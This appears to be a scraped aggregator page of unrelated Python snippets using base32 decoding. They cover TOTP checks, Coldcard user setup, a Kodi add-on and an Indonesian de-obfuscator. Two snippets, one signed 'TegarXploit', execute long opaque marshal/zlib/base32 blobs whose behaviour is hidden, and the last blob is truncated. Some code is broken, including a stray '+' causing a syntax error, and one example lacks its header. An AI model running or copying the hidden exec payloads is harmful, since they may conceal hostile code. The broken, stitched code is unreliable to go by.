                            bk = bk.replace('exec(base64.b16decode("', '')
                            bk = bk.replace('"))', '')
                            bk = bk.replace('import base64\n', '')
                            en = base64.b16decode(bk)
                            ff = f + 'c'
                            open(ff, 'w').write(en)
                            nm = ('').join(f.split('.')[:1]) + '-dec.py'
                            os.rename(ff, nm)
                            run('file berhasil di decrypt menjadi %s ' % nm)
                        else:
                            if inp == '7' or inp == '07':
                                clr()
                                logo()
                                try:
                                    f = raw_input('Filenames: ')
                                except:
                                    exit()
                                else:
                                    try:
                                        bk = open(f, 'r').read()
                                    except:
                                        run('file %s tidak ditemukan ' % f)
                                        exit()

                                bk = bk.replace('exec(base64.b32decode("', '')
                                bk = bk.replace('"))', '')
                                bk = bk.replace('import base64\n', '')
                                en = base64.b32decode(bk)
                                ff = f + 'c'
                                open(ff, 'w').write(en)
                                nm = ('').join(f.split('.')[:1]) + '-dec.py'
                                os.rename(ff, nm)
                                run('file berhasil di decrypt menjadi %s ' %
                                    nm)
                            else:
                                if inp == '8' or inp == '08':
                                    clr()
                                    logo()
                                    try:
                                        f = raw_input('Filenames: ')
                                    except:
                                        exit()
                                    else:
                                        try:
                                            bk = open(f, 'r').read()
                                        except:
                                            run('file %s tidak ditemukan ' % f)
                                            exit()

                                    bk = bk.replace(
                                        + 'exec(base64.b64decode("', '')
                                    bk = bk.replace('"))', '')
                                    bk = bk.replace('import base64\n', '')
                                    en = base64.b64decode(bk)
                                    ff = f + 'c'
                                    open(ff, 'w').write(en)
                                    nm = ('').join(
                                        f.split('.')[:1]) + '-dec.py'
                                    os.rename(ff, nm)
                                    run('file berhasil di decrypt menjadi %s '
                                        % nm)
                                else:
                                    if inp == '9' or inp == '09':
                                        clr()
                                        logo()
                                        try:
                                            f = raw_input('Filenames: ')
                                        except:
                                            exit()
                                        else:
                                            try:
                                                bk = open(f, 'r').read()
                                            except:
                                                run('file %s tidak ditemukan '
                                                    % f)
                                                exit()

                                        bk = bk.replace('exec("',
                                                        '') or bk.replace(
                                                            "exec('", '')
                                        bk = bk.replace(
                                            '").decode("hex")',
                                            '') or bk.replace(
                                                "').decode('hex')", '')
                                        en = str(bk).decode('hex')
                                        ff = f + 'c'
                                        open(ff, 'w').write(en)
                                        nm = ('').join(
                                            f.split('.')[:1]) + '-dec.py'
                                        os.rename(ff, nm)
                                        run('file berhasil di decrypt menjadi %s '
                                            % nm)
                                    else:
                                        if inp == '0' or inp == '00':
                                            run('thank for using my tools ')
                                            exit()
                                        else:
                                            exit()
Example #44
0
def decode_oath_secret(secret):
    """base32-decode an encoded secret"""
    return base64.b32decode(secret)
Example #45
0
def new_user(username, totp_create=False, totp_secret=None, text_secret=None, ask_pass=False,
                do_delete=False, debug=False, show_qr=False, hotp=False, pick_pass=False):
    '''
Create a new user on the Coldcard for HSM policy (also delete).

You can input a password (interactively), or one can be picked
by the Coldcard. When possible the QR to enrol your 2FA app will
be shown on the Coldcard screen.
'''
    from base64 import b32encode, b32decode

    username = username.encode('ascii')
    assert 1 <= len(username) <= MAX_USERNAME_LEN, "Username length wrong"

    dev = ColdcardDevice(sn=force_serial)
    dev.check_mitm()

    if do_delete:
        dev.send_recv(CCProtocolPacker.delete_user(username))
        click.echo('Deleted, if it was there')
        return

    if ask_pass:
        assert not text_secret, "dont give and ask for password"
        text_secret = click.prompt('Password (hidden)', hide_input=True, confirmation_prompt=True)
        mode = USER_AUTH_HMAC

    if totp_secret:
        secret = b32decode(totp_secret, casefold=True)
        assert len(secret) in {10, 20}
        mode = USER_AUTH_TOTP
    elif hotp:
        mode = USER_AUTH_HOTP
        secret = b''
    elif pick_pass or text_secret:
        mode = USER_AUTH_HMAC
    else:
        # default is TOTP
        secret = b''
        mode = USER_AUTH_TOTP
    
    if mode == USER_AUTH_HMAC:
        # default is text passwords
        secret = dev.hash_password(text_secret.encode('utf8')) if text_secret else b''
        assert not show_qr, 'QR not appropriate for text passwords'

    if not secret and not show_qr:
        # ask the Coldcard to show the QR (for password or TOTP shared secret)
        mode |= USER_AUTH_SHOW_QR

    new_secret = dev.send_recv(CCProtocolPacker.create_user(username, mode, secret))

    if show_qr and new_secret:
        # format the URL thing ... needs a spec
        username = username.decode('ascii')
        secret = new_secret or b32encode(secret).decode('ascii')
        mode = 'hotp' if mode == USER_AUTH_HOTP else 'totp'
        click.echo(f'otpauth://{mode}/{username}?secret={secret}&issuer=Coldcard%20{dev.serial}')
    elif not text_secret and new_secret:
        click.echo(f'New password is: {new_secret}')
    else:
        click.echo('Done')
Example #46
0
import hashlib
import hmac
import time
import base64
key = "JBSWY3DPEHPK3PXP"

secret = base64.b32decode(key.encode("utf-8"))
counter = int(time.time() / 30)

bytes = bytearray()
for _ in range(0, 8):
  bytes.insert(0, counter & 0xff)
  counter >>= 8

hs = bytearray(hmac.new(secret, bytes, hashlib.sha1).digest())

n = hs[19] & 0xF

result = (hs[n] << 24 | hs[n + 1] << 16 | hs[n + 2] << 8 | hs[n + 3]) & 0x7fffffff

print(str(result)[-6:])
Example #47
0
                })
                li = xbmcgui.ListItem(countryName,
                                      iconImage='DefaultFolder.png')
                xbmcplugin.addDirectoryItem(handle=addon_handle,
                                            url=localUrl,
                                            listitem=li,
                                            isFolder=True)
            except Exception, e:
                print(e)
                pass

    xbmcplugin.endOfDirectory(addon_handle)

elif mode[0] == 'states':
    country = args['country'][0]
    country = base64.b32decode(country)
    country = country.decode('utf-8')

    data = downloadFile(
        'http://www.radio-browser.info/webservice/json/states/' +
        urllib.quote(country) + '/', None)
    dataDecoded = json.loads(data)

    localUrl = build_url({
        'mode': 'stations',
        'key': 'country',
        'value': base64.b32encode(country.encode('utf-8'))
    })
    li = xbmcgui.ListItem(LANGUAGE(32006), iconImage='DefaultFolder.png')
    xbmcplugin.addDirectoryItem(handle=addon_handle,
                                url=localUrl,
Example #48
0
 def byte_secret(self):
     missing_padding = len(self.secret) % 8
     if missing_padding != 0:
         self.secret += '=' * (8 - missing_padding)
     return base64.b32decode(self.secret, casefold=True)
Example #49
0
# coded by TegarXploit
import marshal, zlib, base64
exec(
    marshal.loads(
        zlib.decompress(
            base64.b32decode(
                "PCOLKVSLN7NUMEC6SKJCLUMW5U6J2JRJIAKW2I5DRAOD3YQENIPG4HSN3IRECKZHJDVCAMDIOIRVDIKIQZF5LEJBT5NKAPPV33PHXTN55CQ3P7UE72FPZB3WMZ3FPNUQAQHIVBQSS7P4ZTQM66N6LTVOY7KGLQV5A237QEY2D77AMCYZ3OMGBA3NDANJW3GD2TMGEG4WYY43NELD3RQP2PHTJX3L3QIM35RD6QEUDGW42SLNTZWRIGBPWBN3P6IM6NTURCNIGBA4KCJKJWIC3HLHFFSJD4IS6PT5QU4TUV7TADXWRQMRDDLDXVNAMDWBH5YN2FPXAA7PPO3H4OCEOTRPZMJNCXSZDHKEN4JQDNXPDGQXB5LLZHQ3IU6FZOL7XV7ID57CTMLVWX7MPS63GEZEO56H7GFMP6Z7EXPA6NMFYTNW7IUQ6Y6XX5OD6V7XBSKTIC7O5OMLRK7YU2FWZTGYRXD6PWFOYEZMN6SA3NSGHA2GVZSIXBU24UUCDMXHLGAT3AA4VZLTDYG552X37YHV7PK6UDEIDG7EBDCEQ2BMQ7AYPCLAPOE5AYMSP5BEDSFB5RAD3NQCAVJC4Q6KC2AZRZZYOWS6YWE2MRTAS7PSLW56DO5BC6ULEJ3BSZLDCFXOV4SC52TOE33QWZHT22WWH6WQ63GHLFJROATH2JGGXNDCX5AK4FMHFYAPBA56BINCTDKDCKATKBNUQC7JKSVFRXXOQWABO6T2FI5BD4E5QEUAK3NK2VLMSTNMUDQBYRY5VFMJNNNQVFP5ABXHAAYF73U6DIHIJCCSHNNKUGPLMI2NNRT7VAVMLWAKYXMGM4BZ5D2Q2ECPBWJQ5PCWSW7X37RV2N2VDF7JRBDRSDUZ5R6K6OZO3FHWMI3FJTALHITIE5POBXQZWGF5CID23PMUN5V7YWEPZILBLGDEUWW5PFG2XEMXT2JIZGODWMHXHU33JBNTM7KXRRPKTIVXQ7LVZKUPSWVDMZR4VKHVLKR5LFRNR3XRTHNPFE3M5TPHIFTHX6EBS3QM52KFS7AOVSEYLJD3WDCXD6KB4KAK4JB4EFQVRCLWZ5A3TFI73QNFNGUEKCNLCNLOHLUJZNWAYRJNJ7S4QYV3C2JSW5DMSFFY5QP2DNF7OPAWVJYZ4LKBSVNNVHOBJD6QEFRKVRICNWZNKB4NBTESLBSOGIXLIMV6WHAKEUVACUF5N2G3CCDGG3EQ7HV5MSDGD6DFKTG3F7U4FQKLEE72DZDJFXZ46HFRTCAXRDPQWY7U4NA7ZSVMH6HRJUIAFL3CEMS36IH73TYMLYMG6ZXQYLIAYDQTQO7YRQIRMKIJQ36FMBQR7A5D56DECYV6TFAWE2QGY6EMCTZG4LR4JIDBXUKYHRL5BSLN4DMDQ32WMBQNJMZTQQIMX22BBP2HBRBMWP4JJ2DVR7ZQ6NH4SPPLBDVR6ZP6NEJCEOQNVRL57R25JJONUW5GKW2ZI6PE5HVKGNDJSAUJWZNFXGRGWIHNJH2QY55CON2XCVSGUOFKMPB62E2VAF5OZ6BZAT3KM2TLMMBMAX6DT56EA64OSD4SHDGZZANKLSUK6KVBQY53PKGSZ233YLDQK6WSKI4B52NQA2BU3ORDMPIMURZHN7ZQCDOHMRIQW322BRGKLYPLIS2FK5NEOKN6OWR2444NI46HK3WEKGLV5VUQ2QN6FI55QFX4SESI4OLLRNSVL723SF73XR5IMBT5MZ4ZTXE32K6XTED3WOQ53SNNEXOVUB5ZVW3KNXGOJO37GVE457YTIGFYZZJ4QQ6PXHX3WPJHOGP7FAEODNZDVAVMPIGCLLGVVG532GKEBEOFXMAPZ5QQIUXO7JMQCDYZ6EQIDCJFVTTIUDQ77ZYJACDFTKSNIDJAOQ655IJXZEBUULBY3EGNYIHK4D3NAWOCJY6CYSJKGQDEQIT4TNAEOSWNYZ7GTNJFUUHMN2LALARBXKZDC4OL36FALLJFDPK6DR4PFHKPODMEKBMIDCTMVJKWP3PIFWRNNI6WV7KXBZQR3XEEJ6RPYM45X7TIYE4GAXWWD6BNYBZZ5HTFYM3EVRRM6TSADTKPNQLP4W57PGYH6HSPQHEG44YTSO53SWNVGE73RTB2D5RXGGQ3JI4SL3QMGZC72DMEOE3SMZRKITSA4OEETCIJ6OUGULE2KQPMB5BX5BOSQ3U3QZEWRVJL43GP2CEPJL7U2WOPCLY545X2Q==="
            ))))
Example #50
0
def packOnionAddress(onion, port):
    onion = onion.replace(".onion", "")
    return base64.b32decode(onion.upper()) + struct.pack("H", port)
import base64
original_data = b'This is the data, in the clear.'
print('Original:', original_data)
encoded_data = base64.b32encode(original_data)
print('Encoded :', encoded_data)
decoded_data = base64.b32decode(encoded_data)
print('Decoded :', decoded_data)
Example #52
0
def base32_decode(strs):
    bytestr = strs.encode('utf-8')
    decodestr = base64.b32decode(bytestr).decode()
    return decodestr
Example #53
0
#!/usr/bin/env python

from base64 import b64decode, b32decode, b16decode, b85decode, a85decode

txt = "R0FZRENNSlFHRVlUQU1CUUdFWVRBTUJSR0VZREFNSlJHQVlUQ01KUUdBWVRDTUJSR0FZREFNQlJHRVlEQ01KUUdBWURDTUpRR0VZVEFNQlFHRVlUQU1KUkdFWURDTUpRR0FZRENNQlFHQVlUQ01CUkdFWURBTUJSR0VZREFNQlJHQVlEQ01KUUdFWVRBTUJSR0VZREFNQlJHRVlEQU1KUkdBWVRDTUJRR0VZVEFNQlFHRVlUQU1CUkdFWURDTUJSR0FZVENNQlFHRVlUQU1CUUdFWVRBTUpSR0VZREFNSlJHQVlUQU1CUUdBWVRDTUJSR0VZREFNQlJHRVlUQU1CUUdBWURDTUpRR0VZVEFNQlFHRVlUQU1KUUdFWURBTUpSR0FZVEFNSlFHRVlUQU1CUkdFWURBTUJSR0VZRENNSlFHQVlEQ01KUUdBWVRBTUJRR0VZVEFNQlJHRVlEQU1KUkdBWVRBTUJRR0FZVENNQlJHRVlUQU1CUkdFWURBTUpSR0FZRENNSlFHRVlUQU1CUUdFWVRBTUpRR0VZREFNSlJHQVlUQ01KUUdBWVRDTUJRR0VZVEFNQlJHRVlEQ01CUkdBWVRDTUJRR0VZVEFNQlFHRVlUQU1CUkdFWURBTUpSR0FZVEFNQlFHQVlUQ01CUkdFWURBTUJSR0VZREFNSlJHQVlEQ01KUUdBWVRDTUJRR0VZVEFNSlJHRVlEQU1KUkdBWURDTUpRR0FZVENNQlFHQVlUQU1CUkdFWURBTUpSR0FZRENNSlFHQVlUQU1CUUdFWVRBTUJSR0VZREFNSlJHRVlEQU1CUUdBWVRDTUJSR0VZREFNQlJHRVlEQ01CUkdBWURDTUpRR0VZVEFNQlFHRVlUQU1KUUdFWURBTUpSR0FZVENNQlFHQVlUQ01CUUdBWVRBTUJSR0VZREFNSlJHQVlEQ01KUUdFWURDTUJRR0VZVEFNQlJHRVlEQU1KUkdBWVRBTUpRR0FZVENNQlFHRVlUQU1CUkdFWURDTUpRR0FZRENNSlFHQVlUQ01CUUdFWVRBTUpSR0VZREFNSlJHQVlEQ01KUUdBWVRDTUJSR0FZVEFNQlJHRVlEQ01KUUdBWURDTUpRR0VZREFNQlFHRVlUQU1KUkdBWURBTUpSR0FZVEFNQlFHQVlUQ01CUUdFWVRBTUJSR0VZRENNQlFHQVlEQ01KUUdBWVRDTUJRR0VZVEFNQlJHRVlEQU1KUkdBWVRDTUpRR0VZVEFNQlJHQVlBPT09PQ=="

# print(txt)
txt = b64decode(txt).decode()
# print(txt)
txt = b32decode(txt).decode()
# print(txt, len(txt)//8)
txt = int(txt, 2)
# print(txt)
txt = txt.to_bytes(txt.bit_length() // 8 + 1, 'big').decode()
# print(txt)
txt = int(txt, 16)
# print(txt)
print(txt.to_bytes(txt.bit_length() // 8 + 1, 'big').decode())
Example #54
0
    def verify_otp_code(self, code, remote_ip=None):
        if remote_ip and settings.vpn.cache_otp_codes:
            doc = self.otp_cache_collection.find_one({
                '_id': self.id,
            })

            if doc:
                _, hash_salt, cur_otp_hash = doc['otp_hash'].split('$')
                hash_salt = base64.b64decode(hash_salt)
            else:
                hash_salt = os.urandom(8)
                cur_otp_hash = None

            otp_hash = hashlib.sha512()
            otp_hash.update(code + remote_ip)
            otp_hash.update(hash_salt)
            otp_hash = base64.b64encode(otp_hash.digest())

            if otp_hash == cur_otp_hash:
                self.otp_cache_collection.update({
                    '_id': self.id,
                }, {'$set': {
                    'timestamp': utils.now(),
                }})
                return True

            otp_hash = '$'.join((
                '1',
                base64.b64encode(hash_salt),
                otp_hash,
            ))

        otp_secret = self.otp_secret
        padding = 8 - len(otp_secret) % 8
        if padding != 8:
            otp_secret = otp_secret.ljust(len(otp_secret) + padding, '=')
        otp_secret = base64.b32decode(otp_secret.upper())
        valid_codes = []
        epoch = int(utils.time_now() / 30)
        for epoch_offset in range(-1, 2):
            value = struct.pack('>q', epoch + epoch_offset)
            hmac_hash = hmac.new(otp_secret, value, hashlib.sha1).digest()
            offset = ord(hmac_hash[-1]) & 0x0F
            truncated_hash = hmac_hash[offset:offset + 4]
            truncated_hash = struct.unpack('>L', truncated_hash)[0]
            truncated_hash &= 0x7FFFFFFF
            truncated_hash %= 1000000
            valid_codes.append('%06d' % truncated_hash)

        if code not in valid_codes:
            return False

        response = self.otp_collection.update(
            {
                '_id': {
                    'user_id': self.id,
                    'code': code,
                },
            }, {'$set': {
                'timestamp': utils.now(),
            }},
            upsert=True)

        if response['updatedExisting']:
            return False

        if remote_ip and settings.vpn.cache_otp_codes:
            self.otp_cache_collection.update({
                '_id': self.id,
            }, {'$set': {
                'otp_hash': otp_hash,
                'timestamp': utils.now(),
            }},
                                             upsert=True)

        return True
Example #55
0
def encodeall(info):
    from core.build_menu import buildmenu
    try:
        st = input(
            color.yellow(' [-] Enter a string to be encoded/decoded :> '))
        m64 = base64.b64encode(st.encode())
        data = m64.decode()
        print(
            color.green(' [+] Base64 Encoded String : ') + color.yellow(data))
        #save_data(host.database, host.module, host.lvl1, host.lvl2, host.lvl3, host.name, str(data))
    except Exception as e:
        pass
    try:
        m32 = base64.b32encode(st.encode())
        data = m32.decode()
        print(
            color.green(' [+] Base32 Encoded String : ') + color.yellow(data))
        #save_data(host.database, host.module, host.lvl1, host.lvl2, host.lvl3, host.name, str(data))
    except Exception as e:
        pass
    try:
        m16 = base64.b16encode(st.encode())
        data = m16.decode()
        print(
            color.green(' [+] Base16/Hex Encoded String : ') +
            color.yellow(data))
        #save_data(host.database, host.module, host.lvl1, host.lvl2, host.lvl3, host.name, str(data))
    except Exception as e:
        print(color.red(" [-] Caught Exception : " + str(e)))
    try:
        m64d = base64.b64decode(st.encode())
        data = m64d.decode()
        print(color.red(' [+] Base64 Decoded String : ') + color.white(data))
        #save_data(host.database, host.module, host.lvl1, host.lvl2, host.lvl3, host.name, str(data))
    except Exception as e:
        pass
    try:
        m32d = base64.b32decode(st.encode())
        data = m32d.decode()
        print(color.red(' [+] Base32 Decoded String : ') + color.white(data))
        #save_data(host.database, host.module, host.lvl1, host.lvl2, host.lvl3, host.name, str(data))
    except Exception as e:
        pass
    try:
        m16d = base64.b16decode(st.encode())
        data = m16d.decode()
        print(
            color.red(' [+] Base16/Hex Decoded String : ') + color.white(data))
        #save_data(host.database, host.module, host.lvl1, host.lvl2, host.lvl3, host.name, str(data))
    except Exception as e:
        pass
    try:
        data = urllib.parse.quote(st, safe='')
        print(color.green(' [+] URL Encoded String : ') + color.yellow(data))
        data = urllib.parse.quote_plus(st, safe='')
        print(
            color.green(' [+] URL plus Encoded String : ') +
            color.yellow(data))
    except Exception as e:
        pass
    try:
        data = urllib.parse.unquote(st)
        print(color.green(' [+] URL Decoded String : ') + color.yellow(data))
        data = urllib.parse.unquote_plus(st)
        print(
            color.green(' [+] URL plus Decoded String : ') +
            color.yellow(data))
    except Exception as e:
        pass
    # more types of encoding still need added
    # encod = ''
    # stri = list(st)
    # for i in stri:
    #     encod = encod + escape(i)
    # print(color.green(' [+] Encoded String : ')+color.yellow(encod))
    # m = st.encode('base64', 'strict')
    # print(color.green(' [+] Encoded String : ')+color.yellow(m))
    # m = st.encode('hex', 'strict')
    # print(color.green(' [+] Encoded String : ')+color.yellow(m))
    # result = []
    # for char in st:
    #     result.append('\%o' % ord(char))
    # print(color.green(' [+] Octal Encoded String : ')+color.yellow(str(''.join(result))))
    # m = ''.join(format(ord(x),'b') for x in st)
    # print(color.green(' [+] Encoded String : ')+color.yellow(m))
    # m = st.encode('zlib','strict')
    # print(color.green(' [+] Encoded String : ')+color.yellow(m))
    st = input(
        color.blue(' [#] Press') + color.red(' Enter ') +
        color.blue('to continue... '))
    buildmenu(info, info.main_menu, 'Main Menu', '')
Example #56
0
import marshal, zlib, base64
exec(
    marshal.loads(
        zlib.decompress(
            base64.b32decode(
                "PCOO27L5NQOES5S76UGIPHAZZ3YJXIVIZ6THNJNFOZH7YGDSJBE3XFEO7JMISJ4J4I3LLSZ3VYC2FSLOBZ5T5OTHXONSWUJLHJ35D6XOG37DYZB7F2DO6DGYBFQAHQIZI2BGAY77CERU5TQBAIMA4AX7ON7RR4B2P44ASAX3V7CMABLW3Z55LHZTZXU6CHJOL3NSFJLCKV2VL5PLL66XV5PKXWVO4LPG7R2MD7ZPYJ7WWJ6JTABP6BCWMVWN3CYLNROXBYYJW2PHBY2JW2PHJYY5NS64HDNH3B5MVDLXWL2U4N66YXLLXXDYTKW2PXLYQ2WWPXDYS2WWPXLYG5N665XDHG3J447DPG3J5J3YQJKXWWFNS6W7OMSBAFVPVGACOT2DGBJIDBQAVXD3SAUXBVZBU3AP3BUZAJ3TVQWUH2TPMM3VQCUYGTA5MLVDAU4PWAJBIG3BNITSWH3F5IEHWBWPHQNE4HTDPN62CJ272NH3CDXVHCVWJGLZI6AB7FNR6IE2MZFRXCQAX3GLP2CZG3H5ERKHRRNL6BA2AQRXKVYBEONPGZLM3M7KFFLDXTOWJ7BRGQV2A7XV2E6ZXLENHPMIO2GQAF6UGGTAVPBJQGK46MFFR4TZFLBMWJT5BIJPGD2QKVT6SGUWP6IFJCOGG6HZEVLB5RYSBJADOAGXARAQDYEG3B3IFFIEVS2HDHRZ4QG7HKTH3H5MWTBZYLPIOZS7MFVINFN7YAKMB3YVNBDFRP6A2QF2YPEBJUFGVAUVE6MXFFGXTORHVI2UN6NCTRZIKJQMU4MKZQYOKBCFM2MQFCAVTFZIVLOPWEJOJTCTPAIUH6ISQWLSTZ2VBJPWHSTJVK4MAFEREJLZQMSGSGVUYOKDSEXTFZIFRIWDFZKFRJOGHSSZRJOGPSRZRLOGBSSLCS44TFDRRK6M5FHTCS44LFEXFFZJWKNPKBSISKK7UDEJPGDSQERHPGBSIGI3WTF5Y6KESVSJGBJUTKWXHEJAX5CHE6HFQHM7QII2P7IN7QWI6CYQWWZRAPGYGFKVSWJRRSVILA7S7DN5HL26TKX7T4PJIC6BBCGPATRLHALYGEIJ7K2ZI4QF5V7KAVI5GLK3VZLMLGV2WUR6XWQT2UNG5PDEVLX6ZKUWNVMT26DFZ7PDC5F4VBGNJ5ZYXW6RAXBXORO53MRVIO7WTGUGZEX6AHNPTHDCGS3VGLJBAKFSVXNFUTNVHMQLC23PL6SNZGX4PABXGNJMM4QQE32CVUFYWJKVW4WQTEXX5OVCST26TK4DQJMOF7VIU2LIZKVSEZMK642F3G44FFGEYTIUBLC5TSMLYUE7DTKXIVGTSL5OTBALQMKZTCMC4TGMCZTMJN2U2MBBEJZBHE6WPJ5A3GW2UKU3LMUPX4GGTBZR2CKIIDVPCD4ZBWWC4YBHQGAADMICGKS5JAPMPPR6DH5QPV4B52GUF6YBL2CHDPDE4BZLU5IOAPDFNTSPH7Q7Q6QEG4ZH6ERPIVJZRWBBFL54OOBK3AKMLEO4ODS4W3JD5YZ46UJYLWVET4UNMLXYRHU5UT2ZPFEOIHMOXRV4RCSY7LSX7BR7773OU6AGHEAQHTKWJUNTTHHXYQPPIBJRQVROQKQQA7O3AZ6ZTX4NOVUMLWNUUPJSUELMLNVLXPLA5FJHN3BCZK5KVJ2442IYNSGWHP2SMAS3BXISOESLA6INPDYDYZXHVDT46CE5IKD7BL4FXRALPM3FWMCCYSSEXEZ2HYDSA2HBYYEILO3TS34UCMCB7IMVEC2E566D6U6QPDRRE66S7XSRVO53EOMOB5TWG4ODSKINP2JR2TDZV3KTDQRBXKNKKDKXTTHNECFFFQQWKKCYTNCL3UVKO3U7HB3D7QI6L5DHNPHRWDAPNE7MFEY7CU6BMXVQ5JHBFFGRJQFWI6PSLWHIZDJSIG4ZQ6FO6DFSGWN2UPCDCGCQILATPK2Z3STGPVV4KZROZJRRURTJ3SHFG33ALFJ5MFNDIYKTBKXJGZ2WQFKGGPA2VWTSQWL4M6UPFF6EJIKCUHLIYAMWS236JSTLV2AGBUDLTXIGOUZ6BZOS4DR75XQ7A6ARD7Y4NQ2LBAD4JSWMPEUAJBHDSDAJYIYABXAADIBAARYP2CHAAFR7ZHJ4LOBXEAGQHSSJYGU5TDTNPPMRR6C3V6GIEJXMAPSZS2IF2LD46SY3GFX5HVV33KRBRNECH3VTRVGVSSD7SZACM6CAXCVI6OLYNK6SU3ZZUPATNCKZURXAY4RO33JESDCOMEQLVAEWTPQJGTWAT4NZR3TRUDFQXPOCXCIBKBRYPRMCZ2OCQ7A6HV7ISECDM4XD4EKCF2JRHRTRTQKJE647ZYGSF7A6KR5XEM7ZENBC5DUUVH467KM776OGU7P32SUP3HYCAEUKBMESTE3QGKQZCRAP6KCEFNMZDMIKNMS4SX2WLTCM2MZ7KC356BKNMEAUCGOZDF755TRW7YV7R47HCISO7RN7JL7JKK4IYV7ZLPG5OGRPPX2OCZY77UJP446LGRKYMEQNG76CRWCKSCROMO2D4SRV6DSTOGUMUH4H5M3TZEP7BDP4SYRZPSJO76ERR7O7V7AJ7VF4C72YFTV2QHM7PX4NLT7BH6JFHHSAJ4CHTXM346E26EZA3X4YIPYESEHEZJJQ5DCKAK3Y2FHPVUU7R53WI3VN4CFCQHYPVPIDQLIUNJJ5HXV4ODLSQ2N27CLCNCYPRSFKVC5PYOQN6NEMRJ2TDIS2YGV3MWG32SVE5FI3YYR33CRTFVHS5VXL2ZSEJZMZ5DFLFKMJO4232YUJZXJ5PVCU4P6EK4TH2AK7MOCNVM2RFUCVUNSNQOFM5NNFLW6ZVDE5M3XFQA4Q2RZQLUXWDZQARXQDYTDKDH4M67ZTQKTZQ6N56XXXQ37RV3RAEGL2AO26XF5QJ6QEWBFOLN7URFZ26CJHLFLRBGHMLFSQZJJQTE3SHOUYJ3EIN4WFCYKOW7VCXFE3UYJM6KE6UEJD7DYTG2KZRIG4FSK7QFYU56TBFP4FQKOEVZCCMQI2PZCIFKPHLAM6VL64LJ577NT47PQBYPUL67P22XHT57QUQQL2A7WZ5EYZDTYUF74734TWQNNPCUC4WI2PCKZF6GNKVS5GHBDDE4426SF2S2KKCR4KEQEJDGPJRIOECRHUZ4OJA62TEU36WSQ6T5K5LN5ML3LADN46ICPVVOGEZM2BDG2E5YPJFJYI5BALA6XHYIJH2RBD336OILMKJCPJCPKLGOPYJXARY5BU7Q7ZDYR5R7WXQKXZ562R5JZWVHTZYKPWO2MB3VGGT6ISMAEPKLXCEFJAJXSRF6F4HCKXPUKUT3CITP44YUFNQORGXJ4Z7JJ5NUH7VH7OTSRQW272ZOWMHTWTFL7HOGNOSWZVRMUHSV553JN43XD3TABP4KO24P2YJA2A3WDC5WVDP5XYJB27VXXDBYFSDXNR5W5HK6LSWJSMV5M5RFWUO6CMNQM3LSM2PJK55WSSFWFXPWUCSXQ4GVGTE7WMONXJBXLFJM447DWFP7VJPNR7OTS4IZOVHTI53HJKVVQXKBDVASQXRQ5FBZISKAF56XGSTZKPMJRE3GJG3WN22AWFS7GF3DE6BT3IYHCL4I4OSVTORZ4HK7D7WXLZEOQ5MLV5RRAZCOILJJ3X2SSKCIUO5RD6MXF6BKRGRJCIWLYTICT2ECCSJRVIPMYCGQWJKOD72OYDOKSGBU4BXG55UPXNCUWWK5FSI7DEV222NHCRYHKVVQ7GXKVUZTJ7KEK2LGPT47QM764YHYJZA5BZEEUQZAQG2YF6SLHE4SCW5OUSC6NOPKJPWXE77DS6QYFKVYHJMV6F2Z3X7JBKQK36XIJJ2H4HAFQNKLMLRMKRSZQLJVODJZI5RTPFCRLHQUXU4TCMLA7RLRIURKU33K2OSQGKGVCVREW3NNNKHKUUYTVLRO5W7XE2SVPV7OR5PPEZYWV4LY354XFT5L5OVLOCLNXVMZ5PNOJ662XKUOV3WVT5QGNLBFEKQZYBB3MN5SAGAN3WKXSMII7BCLVNXTGTQR4U6ZHBN4KOUT63IY66SQM66TYE5ETQ6H5SJ3LFM6BNSWNXVNOKTELKTAWA53VHNHTC3R3PNBKRSFS3EXYZ5KUXJK53VDH5WNMNT5NVBHY24XETWGNSN7K2NNZFTW3MKHSZU3HOKLL456DVX2SFKZDRJFDXCED7V6MZN55KK6QS2PT3AFL23KUKQ34VQD5HSMWQK3ZNTY5SP2XVTJVZBMT2TFTY7OFXLOKTKLB53BKBVSU2GYW7BM3PAON5MNXFVITD5ZFLR4UN4KOGWAGWUYV7Q3U2GINW4G7XTZZ7GFIDUODN6WBWBWA3OV2BMXA7EWYMXIL3MGPFVU27QAESIQITZAKZUQCIKWQBLJODKY2HHJDIIHPYSUYW6AJ4YVGAJD5R2FFGSCK7MO4RQ73LWUBOSU5ZDC3ASYNVC4QBLMH37EDHJ456AQQPLRELIKWQZPEBAEC5EDS3JUGZVIALNUGVKCQMXZ7KH3SOV4CUIQJNIJDULU6WP3FBGPUWT6V32B5YVBOVZSNHRQO4C36XUOBCU3TWPJ3HU3TQXBKZFKZ3UJJO57E5B25GVL76LL766PPSI6N5XB6EX6UKRVJ4T5CUMHVCFFE5T6PJVHZPZROLUSEV53E3ULOXQHQWCCH54WXX563LETGO7XT75OTDKHZXYVHG5G42VIV5NVM2NLXRRSSC3WYOY453IDYAECMZOPQRT6DY5PTIRFZHEGDDHEJVBFWVVFS4KILYRSCJKOK4TTDKLW27P2XKAIWTXJFLZTI3VUDIJSDIHJP3PTZPEOP5WJNQNCPDFKNKV37S7K2ANQUZBSDCL7MFNHIG232LLJ3GOPFMLGQHZOC6UAWCYUDIDYWIX4HHW4Y72IQNS2SDASQDU2PUYNX656UDBZX42LAESBIHZYHYIBWJRORSRYKYMJYRIJN5KE2A7I5IQNDNCBUNUIHF6YITEKTMJFFHSPWS2OC2EEGK5AFCTBTOKDBJRJMUOUL4JIBW7VFRUGSSDVQBW56QFN7NU3N74H54NXUI4MBKHUNFFLWSLDHHXMU62MIJKRZSAGECENISDMPUKBYRRRUWRT6XE3BY7V4PONJA4BY7VZMHXSEEAWIV4GWNYFFX3TA6QBI5TT2G5RA7QO2AK6O4YQJHOMUJQOPMMQPASZUOHCMUPA4ZUNHOMMOKHTHCQ4JCOR5XXSEXAAT326NNIER33BKZZC3O7DNZHLXREH764JMKIABAJW2PL4AMVPAMJQN2BRRRLOIVI2UWPMU5EOMRHUSFDXI4H7ISYMXFTGRCK5CBT5FBRKQ2WFKLROOJWX3FBUFO6XHNWOX74WSIVUXNNRHFYV5YXTR2CCK23BJLTZTN6XX5G5LW6SXC2IG3PCKA7V2KAPWR4YNRYSAGRHLU26NLAJ27T4X7QFNJH5OJSXOU3GESPFY47UDAXXIFY7AFQSA2NF3ACK7WL3WWE6UTNL7GTEMKYUYRO4YWADQXL432UVPDSFVFVPGGVRL6GJGVYCBFAINIFGQDWCH3RRLSQ6QVSAR4IFOV3QCD2BIURAWVHK632ZUCG4SBEMDDTQS4JPDHAWA5IBASVXOF4CPKWDUQ4CKLALZEGQ6UWCYYLTA6AGQLVKODID5JR635IOUJM4ERTBWWYSSGG4HHQVWOVGQXSO4UYRKD